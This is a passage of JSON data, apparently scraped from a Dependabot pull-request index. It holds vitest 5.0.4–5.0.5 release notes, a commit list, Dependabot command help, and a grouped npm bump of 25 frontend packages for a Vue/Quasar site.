href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/VibeTrunk/kut/pull/350","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/VibeTrunk%2Fkut/issues/350","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/350/packages"}},{"old_version":"5.0.3","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-23T21:08:30.000Z","version_change":"5.0.3 → 5.0.5","issue":{"uuid":"6005476044","node_id":"PR_kwDOD8KJKM8AAAABKWJkDQ","number":1337,"state":"closed","title":"Bump the frontend-dependencies group across 1 directory with 25 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T21:22:47.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T21:08:30.000Z","updated_at":"2026-10-23T21:22:48.000Z","time_to_close":857,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"frontend-dependencies","update_count":25,"packages":[{"name":"@tanstack/vue-query","old_version":"5.104.1","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/vue-query-devtools","old_version":"6.3.1","new_version":"6.3.5","repository_url":"https://github.com/TanStack/query"},{"name":"pinia","old_version":"4.0.3","new_version":"4.1.0","repository_url":"https://github.com/vuejs/pinia"},{"name":"quasar","old_version":"2.35.0","new_version":"2.35.2","repository_url":"https://github.com/quasarframework/quasar"},{"name":"vue","old_version":"3.5.43","new_version":"3.5.44","repository_url":"https://github.com/vuejs/core"},{"name":"@playwright/test","old_version":"1.64.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@quasar/app-vite","old_version":"3.10.2","new_version":"3.10.3","repository_url":"https://github.com/quasarframework/quasar"},{"name":"@storybook/addon-a11y","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/addon-docs","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/addon-links","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/addon-vitest","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@storybook/vue3-vite","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"@tanstack/eslint-plugin-query","old_version":"5.104.1","new_version":"5.104.5","repository_url":"https://github.com/TanStack/query"},{"name":"@vitest/browser-playwright","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/coverage-v8","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-plugin-storybook","old_version":"10.6.1","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"npm-run-all2","old_version":"9.0.3","new_version":"9.0.4","repository_url":"https://github.com/bcomnes/npm-run-all2"},{"name":"playwright","old_version":"1.64.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"sass-embedded","old_version":"1.105.1","new_version":"1.106.0","repository_url":"https://github.com/sass/embedded-host-node"},{"name":"storybook","old_version":"10.6.2","new_version":"10.6.3","repository_url":"https://github.com/storybookjs/storybook"},{"name":"vite","old_version":"8.3.4","new_version":"8.3.5","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"vue-tsc","old_version":"3.3.12","new_version":"3.3.13","repository_url":"https://github.com/vuejs/language-tools"}],"path":null,"ecosystem":"npm"},"body":"Bumps the frontend-dependencies group with 25 updates in the /ui/menu-website directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@tanstack/vue-query](https://github.com/TanStack/query/tree/HEAD/packages/vue-query) | `5.104.1` | `5.104.5` |\n| [@tanstack/vue-query-devtools](https://github.com/TanStack/query/tree/HEAD/packages/vue-query-devtools) | `6.3.1` | `6.3.5` |\n| [pinia](https://github.com/vuejs/pinia) | `4.0.3` | `4.1.0` |\n| [quasar](https://github.com/quasarframework/quasar/tree/HEAD/ui) | `2.35.0` | `2.35.2` |\n| [vue](https://github.com/vuejs/core) | `3.5.43` | `3.5.44` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.64.0` | `1.64.1` |\n| [@quasar/app-vite](https://github.com/quasarframework/quasar/tree/HEAD/app-vite) | `3.10.2` | `3.10.3` |\n| [@storybook/addon-a11y](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/a11y) | `10.6.1` | `10.6.3` |\n| [@storybook/addon-docs](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/docs) | `10.6.1` | `10.6.3` |\n| [@storybook/addon-links](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/links) | `10.6.1` | `10.6.3` |\n| [@storybook/addon-vitest](https://github.com/storybookjs/storybook/tree/HEAD/code/addons/vitest) | `10.6.1` | `10.6.3` |\n| [@storybook/vue3-vite](https://github.com/storybookjs/storybook/tree/HEAD/code/frameworks/vue3-vite) | `10.6.1` | `10.6.3` |\n| [@tanstack/eslint-plugin-query](https://github.com/TanStack/query/tree/HEAD/packages/eslint-plugin-query) | `5.104.1` | `5.104.5` |\n| [@vitest/browser-playwright](https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright) | `5.0.3` | `5.0.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.3` | `5.0.5` |\n| [eslint](https://github.com/eslint/eslint) | 